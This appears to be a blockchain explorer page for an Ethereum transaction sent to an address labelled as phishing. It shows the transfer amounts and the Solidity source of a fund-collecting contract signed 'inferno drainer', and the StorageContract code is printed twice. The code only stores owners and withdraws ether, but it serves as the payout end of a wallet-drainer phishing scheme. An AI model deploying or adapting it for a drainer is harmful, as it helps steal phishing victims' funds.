Transaction Hash:
Block:
21416417 at Dec-16-2024 04:56:47 PM +UTC
Transaction Fee:
0.002143719989659238 ETH
$5.20
Gas Used:
45,841 Gas / 46.764250118 Gwei
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x000037bB...826Ce0000 | (Fake_Phishing188250) | 18.15764909857015948 Eth | 18.197327500514684928 Eth | 0.039678401944525448 | |
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 11.330667215584711123 Eth | 11.33143868013263712 Eth | 0.000771464547925997 | |
0xCAe7974F...61425A235 |
0.047 Eth
Nonce: 0
|
0.005177878065815314 Eth
Nonce: 1
| 0.041822121934184686 |
Execution Trace
ETH 0.039678401944525448
Fake_Phishing681155.CALL( )

-
StorageContract.CALL( )
-
StorageContract.CALL( )
- ETH 0.039678401944525448
Receiver.CALL( )
File 1 of 2: StorageContract
File 2 of 2: Receiver
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }
File 2 of 2: Receiver
// File: contracts/StorageContract.sol pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } } // File: contracts/Receiver.sol pragma solidity ^0.8.4; contract Receiver { StorageContract storageContract; mapping(address => uint256) private balances; constructor(address storageContractAddress) { storageContract = StorageContract(storageContractAddress); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < storageContract.getOwners().length; i++) { if (msg.sender == storageContract.owners(i)) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } receive() external payable {} fallback() external payable {} function withdraw(uint256 amount, address recipient) public onlyOwner { require( amount <= address(this).balance, "Not enough balance in the contract" ); (bool sent, ) = payable(recipient).call{value: amount}(""); require(sent, "Fail"); } function bulkWithdraw(uint256[] memory amounts, address[] memory recipients) public onlyOwner { require( amounts.length == recipients.length, "The amounts and recipients length mismatch" ); for (uint256 i = 0; i < recipients.length; i++) { uint256 amount = amounts[i]; address recipient = recipients[i]; require( amount <= address(this).balance, "Not enough balance in the contract" ); (bool sent, ) = payable(recipient).call{value: amount}(""); require(sent, "Fail"); } } }